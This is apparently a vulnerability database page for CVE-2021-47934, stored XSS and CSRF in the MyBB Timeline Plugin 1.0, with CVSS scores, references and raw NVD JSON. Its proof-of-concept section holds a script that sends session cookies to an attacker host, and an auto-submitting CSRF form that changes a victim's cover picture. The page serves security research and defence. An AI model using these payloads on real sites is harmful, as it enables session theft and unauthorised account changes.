CVE-2021-47934

Description

MyBB Timeline Plugin 1.0 contains cross-site scripting vulnerabilities that allow attackers to inject malicious scripts through thread titles, post content, and user profile fields like Location and Bio. Attackers can also exploit a cross-site request forgery vulnerability in the timeline.php profile action to change a user's cover picture by crafting malicious forms that execute when victims visit affected profiles.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MyBB Timeline Plugin 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2021-47934 -->

<!-- 1. Stored XSS via User Profile 'Location' or 'Bio' field -->
<!-- Attacker injects this script into the profile location field -->
<script>
  // Malicious JavaScript payload execution
  alert('XSS Triggered via MyBB Timeline Profile');
  // Example: Stealing session cookies
  fetch('http://attacker-server/steal?c=' + document.cookie);
</script>

<!-- 2. CSRF via timeline.php to change cover picture -->
<!-- Victim visits this page while logged in -->
<html>
  <body>
    <form action="http://target-site/timeline.php" method="POST">
      <input type="hidden" name="action" value="profile" />
      <input type="hidden" name="cover_picture" value="http://attacker.com/malicious_cover.jpg" />
      <input type="submit" value="Win a Prize!" />
    </form>
    <script>
      // Auto-submit the form to trigger action without user interaction (besides page load)
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47934
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47934
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47934/
[4] VulDB https://vuldb.com/cve/CVE-2021-47934
[5] https://community.mybb.com/mods.php?action=view&pid=1428
[6] https://www.exploit-db.com/exploits/49467
[7] https://www.vulncheck.com/advisories/mybb-timeline-plugin-cross-site-scripting-and-csrf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2021-47934", "sourceIdentifier": "[email protected]", "published": "2026-05-16T16:16:21.267", "lastModified": "2026-05-18T17:32:04.823", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyBB Timeline Plugin 1.0 contains cross-site scripting vulnerabilities that allow attackers to inject malicious scripts through thread titles, post content, and user profile fields like Location and Bio. Attackers can also exploit a cross-site request forgery vulnerability in the timeline.php profile action to change a user's cover picture by crafting malicious forms that execute when victims visit affected profiles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://community.mybb.com/mods.php?action=view&pid=1428", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49467", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/mybb-timeline-plugin-cross-site-scripting-and-csrf", "source": "[email protected]"}]}}